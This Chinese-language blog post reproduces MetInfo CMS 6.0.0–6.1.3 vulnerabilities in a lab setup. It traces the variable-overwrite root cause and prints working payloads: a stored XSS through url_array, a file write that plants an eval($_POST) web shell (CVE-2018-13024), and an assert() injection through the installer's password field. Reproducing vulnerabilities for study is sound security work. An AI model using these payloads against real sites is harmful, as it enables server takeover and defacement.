Metinfo6.0.0-6.1.3多個CVE漏洞復現
- 2019 年 10 月 7 日
- 筆記
根據seebug等相關網站、部落格文章進行漏洞復現。
0X1 環境搭建
下載Metinfo6.0.0版本
Centos/83埠

訪問環境:

0X2 XSS漏洞
2018年12月27日,Metinfo被爆出存在存儲型跨站腳本漏洞,遠程攻擊者無需登錄可插入惡意程式碼,管理員在後台管理時即可觸發。該XSS漏洞引起的原因是變數覆蓋.
影響範圍及利用條件
Metinfo 6.x (6.0.0-6.1.3)
無需登錄,知曉後台登陸地址。
查看admin/login/login_check.php文件,第12行程式碼,$url_array數組中某個元素被賦值給$turefile,經過條件判斷後賦值給$met_adminfile,隨後經過authcode方法加密後再賦值給$truefile。最後執行update SQL操作,將之前加密後的字元串插入資料庫:
程式碼第7行包含了/admin/include/common.inc.php,跟進common.inc.php。在程式碼第10行發現變數$url_array被賦值,發現$url_array是以後台絕對路徑分割而成的數組,而後台路徑是安裝時就確定的。在commin.inc.php,在程式碼77-82行,這是一個典型的對輸入參數名進行變數註冊的循環,並且是在$url_array賦值之後,存在變數覆蓋漏洞。其中,XSS的觸發點位於/app/system/safe/admin/index.clss.php的doindex方法中,此方法對應著後台的【安全-安全與效率】操作。管理員在進行後台操作時,Metinfo會提前將met_config表中的數據取出,並放到全局變數$_M中;
在/app/system/safe/admin/index.clss.php 的行首調用了/app/system/include/class/load.class.php中的sys_class方法載入系統類文件,這裡載入了/app/system/include/class/admin.class.php。
發現admin類繼承了common類,common類的構造函數執行了load_confg_global方法載入全站配置數據。通過$localurl_admin數據最後返回到index.php,未過濾導致XSS出現:

完成的POC為:
admin/login/login_check.php?url_array[]=<script>alert(1)</script>&url_array[]=a
輸入完成後點擊管理員打開後台安全-安全與效率,直接觸發

0X3 任意文件寫入漏洞
該漏洞編號是:CVE-2018-13024。漏洞發生在
metinfo6.0.0admincolumnsave.php的column_copyconfig函數,跟進發現在:/*複製首頁
*/ function Copyindx($newindx,$type){if(!file_exists($newindx)){
$oldcont="<?phpn# MetInfo Enterprise Content Management System n# Copyright(C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. n$filpy =basename(dirname(__FILE__));n$fmodule=$type;nrequire_once'../include/module.php'; nrequire_once $module; n# This program is an opensource system, commercial use, please consciously to purchase commerciallicense.n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rightsreserved.n?>";
$fp =fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}
可以看到這裡將$type變數直接寫入了文件中,而$type變數一直可以追溯到column_copyconfig的$module變數而metinfo一個經典的偽全局變數覆蓋,在metinfo6.0.0adminincludecommon.inc.php中。
foreach(array('_COOKIE','_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key =daddslashes($_value,0,0,1);
$_M['form'][$_key]=daddslashes($_value,0,0,1);
}
}
這樣我們可以通過傳入get參數,覆蓋$module變數,導致任意文件寫入。
管理員身份登錄後,訪問完整的POC:
http://192.168.0.107:83/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*
菜刀連接upload目錄下的index.php文件

0x4 任意程式碼注入
在註冊文件夾install中的首頁index.php中,也就是安裝文件的首頁:

對於填寫的資訊沒有做過濾,很多的cms都是類似的結果。我們在安裝過程中,在密碼位置填寫
pass = "*/assert($_REQUEST[a])/*"拼接之後程式碼為:
<?php
/*
con_db_host = "localhost" con_db_port = "3306"con_db_id = "root" con_db_pass = ""*/assert($_REQUEST[a]);/*""con_db_name = "metinfo" tablepre = "met_" db_charset ="utf8";
*/
?>
接著訪問config/config_db.php文件即可造成注入利用
http://127.0.0.1:88/MetInfo6.0.0/config/config_db.php?a=phpinfo();

